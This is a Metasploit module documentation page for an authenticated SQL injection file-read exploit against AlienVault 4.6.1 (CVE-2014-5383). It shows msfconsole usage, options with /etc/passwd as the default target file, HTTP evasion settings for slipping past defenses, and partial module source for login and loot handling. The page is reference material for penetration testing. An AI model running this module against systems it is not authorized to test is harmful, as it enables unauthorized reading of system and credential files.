AlienVault Authenticated SQL Injection Arbitrary File Read - Metasploit

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Module Overview

Module Ranking and Traits
Basic Usage
Required Options

Msfconsole Usage

Module Options
Advanced Options
Auxiliary Actions
Evasion Options

Error Messages
Related Pull Requests
References
See Also
Authors
Version

Module Overview

Name: AlienVault Authenticated SQL Injection Arbitrary File Read
Module: auxiliary/gather/alienvault_newpolicyform_sqli
Source code: modules/auxiliary/gather/alienvault_newpolicyform_sqli.rb
Disclosure date: 2014-05-09
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2014-5383

AlienVault 4.6.1 and below is susceptible to an authenticated SQL injection attack against newpolicyform.php, using the 'insertinto' parameter. This module exploits the vulnerability to read an arbitrary file from the file system. Any authenticated user is able to exploit this, as administrator privileges are not required.

Module Ranking and Traits

Module Ranking:

normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

msf > use auxiliary/gather/alienvault_newpolicyform_sqli
msf auxiliary(alienvault_newpolicyform_sqli) > show targets
    ... a list of targets ...
msf auxiliary(alienvault_newpolicyform_sqli) > set TARGET target-id
msf auxiliary(alienvault_newpolicyform_sqli) > show options
    ... show and set options ...
msf auxiliary(alienvault_newpolicyform_sqli) > exploit

Required Options

RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
USERNAME: Single username
PASSWORD: Single password

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Msfconsole Usage

Here is how the gather/alienvault_newpolicyform_sqli auxiliary module looks in the msfconsole:

msf6 > use auxiliary/gather/alienvault_newpolicyform_sqli

msf6 auxiliary(gather/alienvault_newpolicyform_sqli) > show info

       Name: AlienVault Authenticated SQL Injection Arbitrary File Read
     Module: auxiliary/gather/alienvault_newpolicyform_sqli
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2014-05-09

Provided by:
  Chris Hebert <[email protected]>

Check supported:
  No

Basic options:
  Name          Current Setting  Required  Description
  ----          ---------------  --------  -----------
  FILEPATH      /etc/passwd      yes       Path to remote file
  PASSWORD                       yes       Single password
  Proxies                        no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                         yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT         443              yes       The target port (TCP)
  SQLI_TIMEOUT  60               yes       Specify the maximum time to exploit the sqli (in seconds)
  SSL           true             no        Negotiate SSL/TLS for outgoing connections
  TARGETURI     /                yes       Relative URI of installation
  USERNAME                       yes       Single username
  VHOST                          no        HTTP server virtual host

Description:
  AlienVault 4.6.1 and below is susceptible to an authenticated SQL 
  injection attack against newpolicyform.php, using the 'insertinto' 
  parameter. This module exploits the vulnerability to read an 
  arbitrary file from the file system. Any authenticated user is able 
  to exploit this, as administrator privileges are not required.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2014-5383
  OSVDB (106815)
  https://www.exploit-db.com/exploits/33317
  http://forums.alienvault.com/discussion/2690/security-advisories-v4-6-1-and-lower

Module Options

This is a complete list of options available in the gather/alienvault_newpolicyform_sqli auxiliary module:

msf6 auxiliary(gather/alienvault_newpolicyform_sqli) > show options

Module options (auxiliary/gather/alienvault_newpolicyform_sqli):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   FILEPATH      /etc/passwd      yes       Path to remote file
   PASSWORD                       yes       Single password
   Proxies                        no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                         yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT         443              yes       The target port (TCP)
   SQLI_TIMEOUT  60               yes       Specify the maximum time to exploit the sqli (in seconds)
   SSL           true             no        Negotiate SSL/TLS for outgoing connections
   TARGETURI     /                yes       Relative URI of installation
   USERNAME                       yes       Single username
   VHOST                          no        HTTP server virtual host

Advanced Options

Here is a complete list of advanced options supported by the gather/alienvault_newpolicyform_sqli auxiliary module:

msf6 auxiliary(gather/alienvault_newpolicyform_sqli) > show advanced

Module advanced options (auxiliary/gather/alienvault_newpolicyform_sqli):

   Name                  Current Setting                                     Required  Description
   ----                  ---------------                                     --------  -----------
   DOMAIN                WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS         true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   FingerprintCheck      true                                                no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                         no        HTTP connection and receive timeout
   HttpPassword                                                              no        The HTTP password to specify for authentication
   HttpRawHeaders                                                            no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace             false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors       red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly  false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                              no        The HTTP username to specify for authentication
   SSLVersion            Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   UserAgent             Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE               false                                               no        Enable detailed status messages
   WORKSPACE                                                                 no        Specify the workspace for this module

Auxiliary Actions

This is a list of all auxiliary actions that the gather/alienvault_newpolicyform_sqli module can do:

msf6 auxiliary(gather/alienvault_newpolicyform_sqli) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the gather/alienvault_newpolicyform_sqli auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(gather/alienvault_newpolicyform_sqli) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

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Error Messages

This module may fail with the following error messages:

Error Messages

Server did not respond in an expected way
Could not retrieve a cookie
Server did not respond in an expected way
Authentication failed
Could not retrieve the authenticated cookie
Timeout while exploiting sqli, nothing recovered
Timeout while exploiting sqli, <FULL.LENGTH> bytes recovered
Server did not respond in an expected way

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Server did not respond in an expected way

Here is a relevant code snippet related to the "Server did not respond in an expected way" error message:

50:	    res = send_request_cgi({
51:	      'uri' => normalize_uri(target_uri.path, 'ossim', 'session', 'login.php')
52:	    })
53:	
54:	    unless res && res.code == 200
55:	      print_error("Server did not respond in an expected way")
56:	      return
57:	    end
58:	
59:	    cookie = res.get_cookies
60:

Here is a relevant code snippet related to the "Could not retrieve a cookie" error message:

57:	    end
58:	
59:	    cookie = res.get_cookies
60:	
61:	    if cookie.blank?
62:	      print_error("Could not retrieve a cookie")
63:	      return
64:	    end
65:	
66:	    post = {
67:	      'embed' => '',

Server did not respond in an expected way

Here is a relevant code snippet related to the "Server did not respond in an expected way" error message:

79:	      'vars_post' => post,
80:	      'cookie' => cookie
81:	    })
82:	
83:	    unless res && res.code == 302
84:	      print_error("Server did not respond in an expected way")
85:	      return
86:	    end
87:	
88:	    unless res.headers['Location'] && res.headers['Location'] == normalize_uri(target_uri.path, 'ossim/')
89:	      print_error("Authentication failed")

Authentication failed

Here is a relevant code snippet related to the "Authentication failed" error message:

84:	      print_error("Server did not respond in an expected way")
85:	      return
86:	    end
87:	
88:	    unless res.headers['Location'] && res.headers['Location'] == normalize_uri(target_uri.path, 'ossim/')
89:	      print_error("Authentication failed")
90:	      return
91:	    end
92:	
93:	    cookie = res.get_cookies
94:

Here is a relevant code snippet related to the "Could not retrieve the authenticated cookie" error message:

91:	    end
92:	
93:	    cookie = res.get_cookies
94:	
95:	    if cookie.blank?
96:	      print_error("Could not retrieve the authenticated cookie")
97:	      return
98:	    end
99:	
100:	    i = 0
101:	    full = ''

Timeout while exploiting sqli, nothing recovered

Here is a relevant code snippet related to the "Timeout while exploiting sqli, nothing recovered" error message:

120:	          i = i+1
121:	        end
122:	      end
123:	    rescue ::Timeout::Error
124:	      if full.blank?
125:	        print_error("Timeout while exploiting sqli, nothing recovered")
126:	      else
127:	        print_error("Timeout while exploiting sqli, #{full.length} bytes recovered")
128:	      end
129:	      return
130:	    end

Timeout while exploiting sqli, <FULL.LENGTH> bytes recovered

Here is a relevant code snippet related to the "Timeout while exploiting sqli, <FULL.LENGTH> bytes recovered" error message:

122:	      end
123:	    rescue ::Timeout::Error
124:	      if full.blank?
125:	        print_error("Timeout while exploiting sqli, nothing recovered")
126:	      else
127:	        print_error("Timeout while exploiting sqli, #{full.length} bytes recovered")
128:	      end
129:	      return
130:	    end
131:	
132:	    path = store_loot('alienvault.file', 'text/plain', datastore['RHOST'], full, datastore['FILEPATH'])

Server did not respond in an expected way

Here is a relevant code snippet related to the "Server did not respond in an expected way" error message:

150:	      'vars_get' => get
151:	    })
152:	
153:	    if res && res.body && res.body =~ /#{left_marker}(.*)#{right_marker}/
154:	      return $1
155:	    else
156:	      print_error("Server did not respond in an expected way")
157:	      return nil
158:	    end
159:	  end
160:	end

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References

CVE-2014-5383
OSVDB (106815)
EDB-33317
http://forums.alienvault.com/discussion/2690/security-advisories-v4-6-1-and-lower

Authors

Chris Hebert <chrisdhebert[at]gmail.com>

Version

This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.

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AlienVault Authenticated SQL Injection Arbitrary File Read - Metasploit

Module Overview

Module Ranking and Traits

Basic Usage

Required Options

Msfconsole Usage

Module Options

Advanced Options

Auxiliary Actions

Evasion Options

Error Messages

Server did not respond in an expected way

Server did not respond in an expected way

Authentication failed

Timeout while exploiting sqli, nothing recovered

Timeout while exploiting sqli, <FULL.LENGTH> bytes recovered

Server did not respond in an expected way

References

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Authors

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AlienVault Authenticated SQL Injection Arbitrary File Read - Metasploit

Module Overview

Module Ranking and Traits

Basic Usage

Required Options

Msfconsole Usage

Module Options

Advanced Options

Auxiliary Actions

Evasion Options

Error Messages

Server did not respond in an expected way

Could not retrieve a cookie

Server did not respond in an expected way

Authentication failed

Could not retrieve the authenticated cookie

Timeout while exploiting sqli, nothing recovered

Timeout while exploiting sqli, <FULL.LENGTH> bytes recovered

Server did not respond in an expected way

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References

See Also

Authors

Version